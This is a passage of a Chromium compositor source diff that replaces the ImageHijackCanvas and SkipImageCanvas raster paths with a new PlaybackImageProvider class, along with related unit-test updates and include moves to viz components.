-  canvas.drawImage(image, 0, 0, &paint);
-  canvas.drawImageRect(image, SkRect::MakeXYWH(0, 0, 10, 10),
-                       SkRect::MakeXYWH(10, 10, 10, 10), &paint);
-  paint.setShader(image->makeShader(SkShader::kClamp_TileMode,
-                                    SkShader::kClamp_TileMode, nullptr));
-  canvas.drawRect(SkRect::MakeXYWH(10, 10, 10, 10), paint);
-}
-
-TEST(ImageHijackCanvasTest, ClippedOpsAreSkipped) {
-  testing::StrictMock<MockImageDecodeCache> image_decode_cache;
-  SkImageIdFlatSet images_to_skip;
-  gfx::ColorSpace target_color_space = gfx::ColorSpace::CreateSRGB();
-  ImageHijackCanvas canvas(100, 100, &image_decode_cache, &images_to_skip,
-                           target_color_space);
-  SkPaint paint;
-  SkRect draw_rect = SkRect::MakeXYWH(200, 200, 100, 100);
-  sk_sp<SkImage> image = CreateDiscardableImage(gfx::Size(10, 10));
-  canvas.drawImage(image, 200, 200, &paint);
-  canvas.drawImageRect(image, SkRect::MakeXYWH(0, 0, 10, 10), draw_rect,
-                       &paint);
-  paint.setShader(image->makeShader(SkShader::kClamp_TileMode,
-                                    SkShader::kClamp_TileMode, nullptr));
-  canvas.drawRect(draw_rect, paint);
-  SkPath path;
-  path.addRect(draw_rect, SkPath::kCW_Direction);
-  canvas.drawPath(path, paint);
-  canvas.drawOval(draw_rect, paint);
-  canvas.drawArc(draw_rect, 0, 40, true, paint);
-  canvas.drawRRect(SkRRect::MakeRect(draw_rect), paint);
-}
-
-}  // namespace
-
-}  // namespace cc
diff --git a/cc/raster/playback_image_provider.cc b/cc/raster/playback_image_provider.cc
new file mode 100644
index 0000000..fac89b4
--- /dev/null
+++ b/cc/raster/playback_image_provider.cc
@@ -0,0 +1,108 @@
+// Copyright 2017 The Chromium Authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+#include "cc/raster/playback_image_provider.h"
+
+#include "base/memory/ptr_util.h"
+#include "cc/tiles/image_decode_cache.h"
+
+namespace cc {
+namespace {
+SkIRect RoundOutRect(const SkRect& rect) {
+  SkIRect result;
+  rect.roundOut(&result);
+  return result;
+}
+
+class DecodedImageHolderImpl : public ImageProvider::DecodedImageHolder {
+ public:
+  DecodedImageHolderImpl(ImageDecodeCache* cache,
+                         PaintImage paint_image,
+                         const SkRect& src_rect,
+                         const SkMatrix& matrix,
+                         SkFilterQuality quality,
+                         const gfx::ColorSpace& target_color_space)
+      : cache_(cache),
+        draw_image_(std::move(paint_image),
+                    RoundOutRect(src_rect),
+                    quality,
+                    matrix,
+                    target_color_space),
+        decoded_draw_image_(cache_->GetDecodedImageForDraw(draw_image_)) {}
+
+  const DecodedDrawImage& DecodedImage() override {
+    return decoded_draw_image_;
+  }
+
+  ~DecodedImageHolderImpl() override {
+    cache_->DrawWithImageFinished(draw_image_, decoded_draw_image_);
+  }
+
+ private:
+  ImageDecodeCache* cache_;
+  DrawImage draw_image_;
+  DecodedDrawImage decoded_draw_image_;
+};
+
+class NonLazyDecodedImageHolderImpl : public ImageProvider::DecodedImageHolder {
+ public:
+  NonLazyDecodedImageHolderImpl(sk_sp<SkImage> image, SkFilterQuality quality)
+      : decoded_draw_image_(std::move(image),
+                            SkSize::Make(0, 0),
+                            SkSize::Make(1.f, 1.f),
+                            quality) {}
+  ~NonLazyDecodedImageHolderImpl() override = default;
+
+  const DecodedDrawImage& DecodedImage() override {
+    return decoded_draw_image_;
+  }
+
+ private:
+  DecodedDrawImage decoded_draw_image_;
+};
+
+}  // namespace
+
+PlaybackImageProvider::PlaybackImageProvider(
+    bool skip_all_images,
+    PaintImageIdFlatSet images_to_skip,
+    ImageDecodeCache* cache,
+    const gfx::ColorSpace& target_color_space)
+    : skip_all_images_(skip_all_images),
+      images_to_skip_(std::move(images_to_skip)),
+      cache_(cache),
+      target_color_space_(target_color_space) {
+  DCHECK(cache_);
+}
+
+PlaybackImageProvider::~PlaybackImageProvider() = default;
+
+std::unique_ptr<ImageProvider::DecodedImageHolder>
+PlaybackImageProvider::GetDecodedImage(const PaintImage& paint_image,
+                                       const SkRect& src_rect,
+                                       SkFilterQuality filter_quality,
+                                       const SkMatrix& matrix) {
+  if (skip_all_images_)
+    return nullptr;
+
+  if (images_to_skip_.count(paint_image.stable_id()) != 0) {
+    DCHECK(paint_image.sk_image()->isLazyGenerated());
+    return nullptr;
+  }
+
+  if (!paint_image.sk_image()->isLazyGenerated()) {
+    return base::MakeUnique<NonLazyDecodedImageHolderImpl>(
+        paint_image.sk_image(), filter_quality);
+  }
+
+  auto decoded_image_holder = base::MakeUnique<DecodedImageHolderImpl>(
+      cache_, paint_image, src_rect, matrix, filter_quality,
+      target_color_space_);
+  if (decoded_image_holder->DecodedImage().image())
+    return std::move(decoded_image_holder);
+
+  return nullptr;
+}
+
+}  // namespace cc
diff --git a/cc/raster/playback_image_provider.h b/cc/raster/playback_image_provider.h
new file mode 100644
index 0000000..41c3765
--- /dev/null
+++ b/cc/raster/playback_image_provider.h
@@ -0,0 +1,46 @@
+// Copyright 2017 The Chromium Authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+#ifndef CC_RASTER_PLAYBACK_IMAGE_PROVIDER_H_
+#define CC_RASTER_PLAYBACK_IMAGE_PROVIDER_H_
+
+#include "cc/cc_export.h"
+#include "cc/paint/image_id.h"
+#include "cc/paint/image_provider.h"
+#include "ui/gfx/color_space.h"
+
+namespace cc {
+class ImageDecodeCache;
+
+// PlaybackImageProvider is used to replace lazy generated PaintImages with
+// decoded images for raster from the ImageDecodeCache. The following settings
+// can be used to modify rasterization of these images:
+// 1) skip_all_images: Ensures that no images are decoded or rasterized.
+// 2) images_to_skip: Used to selectively skip images during raster. This should
+//    only be used for lazy generated images.
+class CC_EXPORT PlaybackImageProvider : public ImageProvider {
+ public:
+  PlaybackImageProvider(bool skip_all_images,
+                        PaintImageIdFlatSet images_to_skip,
+                        ImageDecodeCache* cache,
+                        const gfx::ColorSpace& taget_color_space);
+  ~PlaybackImageProvider() override;
+
+  // ImageProvider implementation.
+  std::unique_ptr<DecodedImageHolder> GetDecodedImage(
+      const PaintImage& paint_image,
+      const SkRect& src_rect,
+      SkFilterQuality filter_quality,
+      const SkMatrix& matrix) override;
+
+ private:
+  const bool skip_all_images_;
+  const PaintImageIdFlatSet images_to_skip_;
+  ImageDecodeCache* cache_;
+  const gfx::ColorSpace target_color_space_;
+};
+
+}  // namespace cc
+
+#endif  // CC_RASTER_PLAYBACK_IMAGE_PROVIDER_H_
diff --git a/cc/raster/playback_image_provider_unittest.cc b/cc/raster/playback_image_provider_unittest.cc
new file mode 100644
index 0000000..71457798
--- /dev/null
+++ b/cc/raster/playback_image_provider_unittest.cc
@@ -0,0 +1,89 @@
+// Copyright 2017 The Chromium Authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+#include "cc/raster/playback_image_provider.h"
+
+#include "cc/test/skia_common.h"
+#include "cc/test/stub_decode_cache.h"
+#include "testing/gmock/include/gmock/gmock.h"
+#include "testing/gtest/include/gtest/gtest.h"
+
+namespace cc {
+namespace {
+
+using testing::_;
+using testing::Return;
+
+sk_sp<SkImage> CreateRasterImage() {
+  SkBitmap bitmap;
+  bitmap.allocN32Pixels(10, 10);
+  return SkImage::MakeFromBitmap(bitmap);
+}
+
+DecodedDrawImage CreateDecode() {
+  return DecodedDrawImage(CreateRasterImage(), SkSize::MakeEmpty(),
+                          SkSize::Make(1.0f, 1.0f), kMedium_SkFilterQuality);
+}
+
+class MockDecodeCache : public StubDecodeCache {
+ public:
+  MockDecodeCache() = default;
+  ~MockDecodeCache() override = default;
+
+  MOCK_METHOD1(GetDecodedImageForDraw, DecodedDrawImage(const DrawImage&));
+  MOCK_METHOD2(DrawWithImageFinished,
+               void(const DrawImage&, const DecodedDrawImage&));
+};
+
+TEST(PlaybackImageProviderTest, SkipsAllImages) {
+  testing::StrictMock<MockDecodeCache> cache;
+  PlaybackImageProvider provider(true, {}, &cache, gfx::ColorSpace());
+
+  SkRect rect = SkRect::MakeWH(10, 10);
+  SkMatrix matrix;
+  EXPECT_EQ(provider.GetDecodedImage(
+                PaintImage(PaintImage::kNonLazyStableId, CreateRasterImage()),
+                rect, kMedium_SkFilterQuality, matrix),
+            nullptr);
+  EXPECT_EQ(provider.GetDecodedImage(
+                PaintImage(PaintImage::GetNextId(),
+                           CreateDiscardableImage(gfx::Size(10, 10))),
+                rect, kMedium_SkFilterQuality, matrix),
+            nullptr);
+}
+
+TEST(PlaybackImageProviderTest, SkipsSomeImages) {
+  testing::StrictMock<MockDecodeCache> cache;
+  PaintImage skip_image = PaintImage(PaintImage::GetNextId(),
+                                     CreateDiscardableImage(gfx::Size(10, 10)));
+  PlaybackImageProvider provider(false, {skip_image.stable_id()}, &cache,
+                                 gfx::ColorSpace());
+
+  SkRect rect = SkRect::MakeWH(10, 10);
+  SkMatrix matrix;
+  EXPECT_EQ(provider.GetDecodedImage(skip_image, rect, kMedium_SkFilterQuality,
+                                     matrix),
+            nullptr);
+}
+
+TEST(PlaybackImageProviderTest, RefAndUnrefDecode) {
+  testing::StrictMock<MockDecodeCache> cache;
+  PlaybackImageProvider provider(false, {}, &cache, gfx::ColorSpace());
+
+  EXPECT_CALL(cache, GetDecodedImageForDraw(_))
+      .WillOnce(Return(CreateDecode()));
+  SkRect rect = SkRect::MakeWH(10, 10);
+  SkMatrix matrix;
+  auto decode = provider.GetDecodedImage(
+      PaintImage(PaintImage::GetNextId(),
+                 CreateDiscardableImage(gfx::Size(10, 10))),
+      rect, kMedium_SkFilterQuality, matrix);
+  EXPECT_NE(decode, nullptr);
+
+  EXPECT_CALL(cache, DrawWithImageFinished(_, _));
+  decode.reset();
+}
+
+}  // namespace
+}  // namespace cc
diff --git a/cc/raster/raster_buffer_provider_unittest.cc b/cc/raster/raster_buffer_provider_unittest.cc
index 09102fd..1033b227 100644
--- a/cc/raster/raster_buffer_provider_unittest.cc
+++ b/cc/raster/raster_buffer_provider_unittest.cc
@@ -77,10 +77,7 @@
 
   // Overridden from Task:
   void RunOnWorkerThread() override {
-    // Don't use the image hijack canvas for these tests, as they have no image
-    // decode controller.
     RasterSource::PlaybackSettings settings;
-    settings.use_image_hijack_canvas = false;
 
     uint64_t new_content_id = 0;
     raster_buffer_->Playback(raster_source_.get(), gfx::Rect(1, 1),
@@ -216,7 +213,7 @@
 
   void AllTileTasksFinished() {
     tile_task_manager_->CheckForCompletedTasks();
-    base::MessageLoop::current()->QuitWhenIdle();
+    base::RunLoop::QuitCurrentWhenIdleDeprecated();
   }
 
   void RunMessageLoopUntilAllTasksHaveCompleted() {
@@ -312,7 +309,7 @@
 
   void OnTimeout() {
     timed_out_ = true;
-    base::MessageLoop::current()->QuitWhenIdle();
+    base::RunLoop::QuitCurrentWhenIdleDeprecated();
   }
 
  protected:
diff --git a/cc/raster/raster_source.cc b/cc/raster/raster_source.cc
index 1e7168c..018356c9 100644
--- a/cc/raster/raster_source.cc
+++ b/cc/raster/raster_source.cc
@@ -12,8 +12,6 @@
 #include "cc/debug/debug_colors.h"
 #include "cc/debug/traced_value.h"
 #include "cc/paint/display_item_list.h"
-#include "cc/raster/image_hijack_canvas.h"
-#include "cc/raster/skip_image_canvas.h"
 #include "skia/ext/analysis_canvas.h"
 #include "third_party/skia/include/core/SkCanvas.h"
 #include "third_party/skia/include/core/SkColorSpaceXformCanvas.h"
@@ -34,8 +32,7 @@
       size_(other->size_),
       clear_canvas_with_debug_color_(other->clear_canvas_with_debug_color_),
       slow_down_raster_scale_factor_for_debug_(
-          other->slow_down_raster_scale_factor_for_debug_),
-      image_decode_cache_(nullptr) {}
+          other->slow_down_raster_scale_factor_for_debug_) {}
 RasterSource::~RasterSource() = default;
 
 void RasterSource::PlaybackToCanvas(
@@ -76,26 +73,7 @@
   if (!settings.playback_to_shared_canvas)
     PrepareForPlaybackToCanvas(raster_canvas);
 
-  if (settings.skip_images) {
-    SkipImageCanvas canvas(raster_canvas);
-    RasterCommon(&canvas);
-  } else if (settings.use_image_hijack_canvas) {
-    const SkImageInfo& info = raster_canvas->imageInfo();
-    ImageHijackCanvas canvas(info.width(), info.height(), image_decode_cache_,
-                             &settings.images_to_skip, target_color_space);
-    // Before adding the canvas, make sure that the ImageHijackCanvas is aware
-    // of the current transform and clip, which may affect the clip bounds.
-    // Since we query the clip bounds of the current canvas to get the list of
-    // draw commands to process, this is important to produce correct content.
-    canvas.clipRect(
-        SkRect::MakeFromIRect(raster_canvas->getDeviceClipBounds()));
-    canvas.setMatrix(raster_canvas->getTotalMatrix());
-    canvas.addCanvas(raster_canvas);
-
-    RasterCommon(&canvas);
-  } else {
-    RasterCommon(raster_canvas);
-  }
+  RasterCommon(raster_canvas, settings.image_provider);
 }
 
 namespace {
@@ -188,11 +166,12 @@
 }
 
 void RasterSource::RasterCommon(SkCanvas* raster_canvas,
+                                ImageProvider* image_provider,
                                 SkPicture::AbortCallback* callback) const {
   DCHECK(display_list_.get());
   int repeat_count = std::max(1, slow_down_raster_scale_factor_for_debug_);
   for (int i = 0; i < repeat_count; ++i)
-    display_list_->Raster(raster_canvas, callback);
+    display_list_->Raster(raster_canvas, image_provider, callback);
 }
 
 sk_sp<SkPicture> RasterSource::GetFlattenedPicture() {
@@ -279,8 +258,6 @@
 
 RasterSource::PlaybackSettings::PlaybackSettings()
     : playback_to_shared_canvas(false),
-      skip_images(false),
-      use_image_hijack_canvas(true),
       use_lcd_text(true) {}
 
 RasterSource::PlaybackSettings::PlaybackSettings(const PlaybackSettings&) =
diff --git a/cc/raster/raster_source.h b/cc/raster/raster_source.h
index 95de7b0..41be6ad 100644
--- a/cc/raster/raster_source.h
+++ b/cc/raster/raster_source.h
@@ -26,7 +26,7 @@
 namespace cc {
 class DisplayItemList;
 class DrawImage;
-class ImageDecodeCache;
+class ImageProvider;
 
 class CC_EXPORT RasterSource : public base::RefCountedThreadSafe<RasterSource> {
  public:
@@ -40,21 +40,11 @@
     // rasterized into. This means that the canvas cannot be cleared safely.
     bool playback_to_shared_canvas : 1;
 
-    // If set to true, none of the images will be rasterized.
-    bool skip_images : 1;
-
-    // If set to true, we will use an image hijack canvas, which enables
-    // compositor image caching.
-    bool use_image_hijack_canvas : 1;
-
     // If set to true, we should use LCD text.
     bool use_lcd_text : 1;
 
-    // If non-empty, an image hijack canvas will be used to skip these images
-    // during raster.
-    // TODO(khushalsagar): Consolidate more settings for playback here? See
-    // crbug.com/691076.
-    SkImageIdFlatSet images_to_skip;
+    // The ImageProvider used to replace images during playback.
+    ImageProvider* image_provider = nullptr;
   };
 
   // Helper function to apply a few common operations before passing the canvas
@@ -126,13 +116,6 @@
   virtual sk_sp<SkPicture> GetFlattenedPicture();
   virtual size_t GetMemoryUsage() const;
 
-  // Image decode controller should be set once. Its lifetime has to exceed that
-  // of the raster source, since the raster source will access it during raster.
-  void set_image_decode_cache(ImageDecodeCache* image_decode_cache) {
-    DCHECK(image_decode_cache);
-    image_decode_cache_ = image_decode_cache;
-  }
-
  protected:
   // RecordingSource is the only class that can create a raster source.
   friend class RecordingSource;
@@ -154,12 +137,9 @@
   const bool clear_canvas_with_debug_color_;
   const int slow_down_raster_scale_factor_for_debug_;
 
-  // In practice, this is only set once before raster begins, so it's ok with
-  // respect to threading.
-  ImageDecodeCache* image_decode_cache_;
-
  private:
   void RasterCommon(SkCanvas* canvas,
+                    ImageProvider* image_provider = nullptr,
                     SkPicture::AbortCallback* callback = nullptr) const;
 
   void PrepareForPlaybackToCanvas(SkCanvas* canvas) const;
diff --git a/cc/raster/raster_source_unittest.cc b/cc/raster/raster_source_unittest.cc
index 4ca5922..2540137 100644
--- a/cc/raster/raster_source_unittest.cc
+++ b/cc/raster/raster_source_unittest.cc
@@ -8,6 +8,7 @@
 
 #include <memory>
 
+#include "cc/raster/playback_image_provider.h"
 #include "cc/test/fake_recording_source.h"
 #include "cc/test/skia_common.h"
 #include "cc/tiles/software_image_decode_cache.h"
@@ -500,7 +501,8 @@
   SoftwareImageDecodeCache controller(
       viz::ResourceFormat::RGBA_8888,
       LayerTreeSettings().decoded_image_working_set_budget_bytes);
-  raster_source->set_image_decode_cache(&controller);
+  PlaybackImageProvider image_provider(false, PaintImageIdFlatSet(),
+                                       &controller, gfx::ColorSpace());
 
   SkBitmap bitmap;
   bitmap.allocN32Pixels(size.width() * 0.5f, size.height() * 0.25f);
@@ -509,7 +511,7 @@
 
   RasterSource::PlaybackSettings settings;
   settings.playback_to_shared_canvas = true;
-  settings.use_image_hijack_canvas = true;
+  settings.image_provider = &image_provider;
   raster_source->PlaybackToCanvas(&canvas, ColorSpaceForTesting(),
                                   gfx::Rect(size), gfx::Rect(size),
                                   gfx::AxisTransform2d(), settings);
diff --git a/cc/raster/skip_image_canvas.cc b/cc/raster/skip_image_canvas.cc
deleted file mode 100644
index 3ec2e5f0..0000000
--- a/cc/raster/skip_image_canvas.cc
+++ /dev/null
@@ -1,33 +0,0 @@
-// Copyright 2016 The Chromium Authors. All rights reserved.
-// Use of this source code is governed by a BSD-style license that can be
-// found in the LICENSE file.
-
-#include "cc/raster/skip_image_canvas.h"
-
-#include "third_party/skia/include/core/SkShader.h"
-
-namespace cc {
-
-SkipImageCanvas::SkipImageCanvas(SkCanvas* canvas)
-    : SkPaintFilterCanvas(canvas) {}
-
-bool SkipImageCanvas::onFilter(SkTCopyOnFirstWrite<SkPaint>* paint,
-                               Type type) const {
-  if (type == kBitmap_Type)
-    return false;
-
-  SkShader* shader = (*paint) ? (*paint)->getShader() : nullptr;
-  return !shader || !shader->isAImage();
-}
-
-void SkipImageCanvas::onDrawPicture(const SkPicture* picture,
-                                    const SkMatrix* matrix,
-                                    const SkPaint* paint) {
-  SkTCopyOnFirstWrite<SkPaint> filteredPaint(paint);
-
-  // To filter nested draws, we must unfurl pictures at this stage.
-  if (onFilter(&filteredPaint, kPicture_Type))
-    SkCanvas::onDrawPicture(picture, matrix, filteredPaint);
-}
-
-}  // namespace cc
diff --git a/cc/raster/skip_image_canvas.h b/cc/raster/skip_image_canvas.h
deleted file mode 100644
index 6932e996..0000000
--- a/cc/raster/skip_image_canvas.h
+++ /dev/null
@@ -1,26 +0,0 @@
-// Copyright 2016 The Chromium Authors. All rights reserved.
-// Use of this source code is governed by a BSD-style license that can be
-// found in the LICENSE file.
-
-#ifndef CC_RASTER_SKIP_IMAGE_CANVAS_H_
-#define CC_RASTER_SKIP_IMAGE_CANVAS_H_
-
-#include "third_party/skia/include/utils/SkPaintFilterCanvas.h"
-
-namespace cc {
-
-class SkipImageCanvas : public SkPaintFilterCanvas {
- public:
-  explicit SkipImageCanvas(SkCanvas* canvas);
-
- private:
-  bool onFilter(SkTCopyOnFirstWrite<SkPaint>* paint, Type type) const override;
-
-  void onDrawPicture(const SkPicture* picture,
-                     const SkMatrix* matrix,
-                     const SkPaint* paint) override;
-};
-
-}  // namespace cc
-
-#endif  // CC_RASTER_SKIP_IMAGE_CANVAS_H_
diff --git a/cc/resources/resource_provider_unittest.cc b/cc/resources/resource_provider_unittest.cc
index 24cfa916e..b3bd2c4a 100644
--- a/cc/resources/resource_provider_unittest.cc
+++ b/cc/resources/resource_provider_unittest.cc
@@ -19,13 +19,13 @@
 #include "base/memory/ptr_util.h"
 #include "base/memory/ref_counted.h"
 #include "cc/resources/returned_resource.h"
-#include "cc/resources/single_release_callback.h"
 #include "cc/test/test_context_provider.h"
 #include "cc/test/test_gpu_memory_buffer_manager.h"
 #include "cc/test/test_shared_bitmap_manager.h"
 #include "cc/test/test_texture.h"
 #include "cc/test/test_web_graphics_context_3d.h"
 #include "cc/trees/blocking_task_runner.h"
+#include "components/viz/common/quads/single_release_callback.h"
 #include "components/viz/common/resources/buffer_to_texture_target_map.h"
 #include "components/viz/common/resources/resource_format_utils.h"
 #include "components/viz/common/resources/shared_bitmap_manager.h"
@@ -2724,7 +2724,7 @@
   BlockingTaskRunner* main_thread_task_runner = nullptr;
   std::unique_ptr<SingleReleaseCallbackImpl> callback =
       SingleReleaseCallbackImpl::Create(
-          base::Bind(ReleaseCallback, &release_sync_token, &lost_resource,
+          base::Bind(&ReleaseCallback, &release_sync_token, &lost_resource,
                      &main_thread_task_runner));
   resource_provider_->CreateResourceFromTextureMailbox(
       viz::TextureMailbox(mailbox, sync_token, GL_TEXTURE_2D),
diff --git a/cc/scheduler/scheduler_unittest.cc b/cc/scheduler/scheduler_unittest.cc
index b91b2ef5..752615e 100644
--- a/cc/scheduler/scheduler_unittest.cc
+++ b/cc/scheduler/scheduler_unittest.cc
@@ -17,11 +17,11 @@
 #include "base/time/time.h"
 #include "base/trace_event/trace_event.h"
 #include "cc/test/fake_external_begin_frame_source.h"
-#include "cc/test/ordered_simple_task_runner.h"
 #include "cc/test/scheduler_test_common.h"
 #include "components/viz/common/frame_sinks/begin_frame_args.h"
 #include "components/viz/test/begin_frame_args_test.h"
 #include "components/viz/test/fake_delay_based_time_source.h"
+#include "components/viz/test/ordered_simple_task_runner.h"
 #include "testing/gmock/include/gmock/gmock.h"
 #include "testing/gtest/include/gtest/gtest.h"
 
diff --git a/cc/test/begin_frame_source_test_unittest.cc b/cc/test/begin_frame_source_test_unittest.cc
deleted file mode 100644
index b78fbc48..0000000
--- a/cc/test/begin_frame_source_test_unittest.cc
+++ /dev/null
@@ -1,124 +0,0 @@
-// Copyright 2015 The Chromium Authors. All rights reserved.
-// Use of this source code is governed by a BSD-style license that can be
-// found in the LICENSE file.
-
-#include "cc/test/begin_frame_source_test.h"
-
-#include "cc/test/mock_helper.h"
-#include "components/viz/test/begin_frame_args_test.h"
-#include "testing/gmock/include/gmock/gmock.h"
-#include "testing/gtest/include/gtest/gtest.h"
-
-namespace cc {
-namespace {
-TEST(MockBeginFrameObserverTest, FailOnMissingCalls) {
-  EXPECT_MOCK_FAILURE({
-    ::testing::NiceMock<MockBeginFrameObserver> obs;
-    EXPECT_BEGIN_FRAME_USED(obs, 0, 1, 100, 200, 300);
-    EXPECT_BEGIN_FRAME_USED(obs, 0, 2, 400, 600, 300);
-
-    obs.OnBeginFrame(viz::CreateBeginFrameArgsForTesting(BEGINFRAME_FROM_HERE,
-                                                         0, 2, 400, 600, 300));
-  });
-}
-
-TEST(MockBeginFrameObserverTest, FailOnMultipleCalls) {
-  EXPECT_MOCK_FAILURE({
-    ::testing::NiceMock<MockBeginFrameObserver> obs;
-    EXPECT_BEGIN_FRAME_USED(obs, 0, 1, 100, 200, 300);
-    EXPECT_BEGIN_FRAME_USED(obs, 0, 2, 400, 600, 300);
-
-    obs.OnBeginFrame(viz::CreateBeginFrameArgsForTesting(BEGINFRAME_FROM_HERE,
-                                                         0, 1, 100, 200, 300));
-    obs.OnBeginFrame(viz::CreateBeginFrameArgsForTesting(BEGINFRAME_FROM_HERE,
-                                                         0, 1, 100, 200, 300));
-    obs.OnBeginFrame(viz::CreateBeginFrameArgsForTesting(BEGINFRAME_FROM_HERE,
-                                                         0, 2, 400, 600, 300));
-  });
-}
-
-TEST(MockBeginFrameObserverTest, FailOnWrongCallOrder) {
-  EXPECT_MOCK_FAILURE({
-    ::testing::NiceMock<MockBeginFrameObserver> obs;
-    EXPECT_BEGIN_FRAME_USED(obs, 0, 1, 100, 200, 300);
-    EXPECT_BEGIN_FRAME_USED(obs, 0, 2, 400, 600, 300);
-
-    obs.OnBeginFrame(viz::CreateBeginFrameArgsForTesting(BEGINFRAME_FROM_HERE,
-                                                         0, 2, 400, 600, 300));
-    obs.OnBeginFrame(viz::CreateBeginFrameArgsForTesting(BEGINFRAME_FROM_HERE,
-                                                         0, 1, 100, 200, 300));
-  });
-}
-
-TEST(MockBeginFrameObserverTest, ExpectOnBeginFrame) {
-  ::testing::NiceMock<MockBeginFrameObserver> obs;
-  EXPECT_BEGIN_FRAME_USED(obs, 0, 1, 100, 200, 300);
-  EXPECT_BEGIN_FRAME_USED(obs, 0, 2, 400, 600, 300);
-  EXPECT_BEGIN_FRAME_USED(obs, 0, 3, 700, 900, 300);
-
-  EXPECT_EQ(obs.LastUsedBeginFrameArgs(),
-            MockBeginFrameObserver::kDefaultBeginFrameArgs);
-
-  obs.OnBeginFrame(viz::CreateBeginFrameArgsForTesting(
-      BEGINFRAME_FROM_HERE, 0, 1, 100, 200,
-      300));  // One call to LastUsedBeginFrameArgs
-  EXPECT_EQ(obs.LastUsedBeginFrameArgs(),
-            viz::CreateBeginFrameArgsForTesting(BEGINFRAME_FROM_HERE, 0, 1, 100,
-                                                200, 300));
-
-  obs.OnBeginFrame(viz::CreateBeginFrameArgsForTesting(
-      BEGINFRAME_FROM_HERE, 0, 2, 400, 600,
-      300));  // Multiple calls to LastUsedBeginFrameArgs
-  EXPECT_EQ(obs.LastUsedBeginFrameArgs(),
-            viz::CreateBeginFrameArgsForTesting(BEGINFRAME_FROM_HERE, 0, 2, 400,
-                                                600, 300));
-  EXPECT_EQ(obs.LastUsedBeginFrameArgs(),
-            viz::CreateBeginFrameArgsForTesting(BEGINFRAME_FROM_HERE, 0, 2, 400,
-                                                600, 300));
-
-  obs.OnBeginFrame(viz::CreateBeginFrameArgsForTesting(
-      BEGINFRAME_FROM_HERE, 0, 3, 700, 900,
-      300));  // No calls to LastUsedBeginFrameArgs
-}
-
-TEST(MockBeginFrameObserverTest, ExpectOnBeginFrameStatus) {
-  ::testing::NiceMock<MockBeginFrameObserver> obs;
-  EXPECT_BEGIN_FRAME_USED(obs, 0, 1, 100, 200, 300);
-  EXPECT_BEGIN_FRAME_DROP(obs, 0, 2, 400, 600, 300);
-  EXPECT_BEGIN_FRAME_DROP(obs, 0, 3, 450, 650, 300);
-  EXPECT_BEGIN_FRAME_USED(obs, 0, 4, 700, 900, 300);
-
-  EXPECT_EQ(obs.LastUsedBeginFrameArgs(),
-            MockBeginFrameObserver::kDefaultBeginFrameArgs);
-
-  // Used
-  obs.OnBeginFrame(viz::CreateBeginFrameArgsForTesting(BEGINFRAME_FROM_HERE, 0,
-                                                       1, 100, 200, 300));
-  EXPECT_EQ(obs.LastUsedBeginFrameArgs(),
-            viz::CreateBeginFrameArgsForTesting(BEGINFRAME_FROM_HERE, 0, 1, 100,
-                                                200, 300));
-
-  // Dropped
-  obs.OnBeginFrame(viz::CreateBeginFrameArgsForTesting(BEGINFRAME_FROM_HERE, 0,
-                                                       2, 400, 600, 300));
-  EXPECT_EQ(obs.LastUsedBeginFrameArgs(),
-            viz::CreateBeginFrameArgsForTesting(BEGINFRAME_FROM_HERE, 0, 1, 100,
-                                                200, 300));
-
-  // Dropped
-  obs.OnBeginFrame(viz::CreateBeginFrameArgsForTesting(BEGINFRAME_FROM_HERE, 0,
-                                                       3, 450, 650, 300));
-  EXPECT_EQ(obs.LastUsedBeginFrameArgs(),
-            viz::CreateBeginFrameArgsForTesting(BEGINFRAME_FROM_HERE, 0, 1, 100,
-                                                200, 300));
-
-  // Used
-  obs.OnBeginFrame(viz::CreateBeginFrameArgsForTesting(BEGINFRAME_FROM_HERE, 0,
-                                                       4, 700, 900, 300));
-  EXPECT_EQ(obs.LastUsedBeginFrameArgs(),
-            viz::CreateBeginFrameArgsForTesting(BEGINFRAME_FROM_HERE, 0, 4, 700,
-                                                900, 300));
-}
-
-}  // namespace
-}  // namespace cc
diff --git a/cc/test/layer_test_common.cc b/cc/test/layer_test_common.cc
index 31f4aeb8..aedaf2d 100644
--- a/cc/test/layer_test_common.cc
+++ b/cc/test/layer_test_common.cc
@@ -12,14 +12,14 @@
 #include "cc/base/math_util.h"
 #include "cc/base/region.h"
 #include "cc/layers/append_quads_data.h"
-#include "cc/output/copy_output_request.h"
-#include "cc/output/copy_output_result.h"
 #include "cc/quads/draw_quad.h"
 #include "cc/quads/render_pass.h"
 #include "cc/test/animation_test_common.h"
 #include "cc/test/fake_layer_tree_frame_sink.h"
 #include "cc/test/mock_occlusion_tracker.h"
 #include "cc/trees/layer_tree_host_common.h"
+#include "components/viz/common/quads/copy_output_request.h"
+#include "components/viz/common/quads/copy_output_result.h"
 #include "testing/gtest/include/gtest/gtest.h"
 #include "ui/gfx/geometry/point_conversions.h"
 #include "ui/gfx/geometry/rect.h"
@@ -232,11 +232,11 @@
                             render_pass_.get(), &data);
 }
 
-void EmptyCopyOutputCallback(std::unique_ptr<CopyOutputResult> result) {}
+void EmptyCopyOutputCallback(std::unique_ptr<viz::CopyOutputResult> result) {}
 
 void LayerTestCommon::LayerImplTest::RequestCopyOfOutput() {
   root_layer_for_testing()->test_properties()->copy_requests.push_back(
-      CopyOutputRequest::CreateRequest(
+      viz::CopyOutputRequest::CreateRequest(
           base::BindOnce(&EmptyCopyOutputCallback)));
 }
 
diff --git a/cc/test/layer_tree_pixel_test.cc b/cc/test/layer_tree_pixel_test.cc
index a9d8fd2d..f571dbd 100644
--- a/cc/test/layer_tree_pixel_test.cc
+++ b/cc/test/layer_tree_pixel_test.cc
@@ -13,14 +13,14 @@
 #include "cc/base/switches.h"
 #include "cc/layers/solid_color_layer.h"
 #include "cc/layers/texture_layer.h"
-#include "cc/output/copy_output_request.h"
-#include "cc/output/copy_output_result.h"
 #include "cc/output/software_output_device.h"
 #include "cc/test/pixel_comparator.h"
 #include "cc/test/pixel_test_output_surface.h"
 #include "cc/test/pixel_test_utils.h"
 #include "cc/test/test_in_process_context_provider.h"
 #include "cc/trees/layer_tree_impl.h"
+#include "components/viz/common/quads/copy_output_request.h"
+#include "components/viz/common/quads/copy_output_result.h"
 #include "components/viz/common/quads/texture_mailbox.h"
 #include "components/viz/test/paths.h"
 #include "components/viz/test/test_layer_tree_frame_sink.h"
@@ -88,14 +88,14 @@
   return std::move(display_output_surface);
 }
 
-std::unique_ptr<CopyOutputRequest>
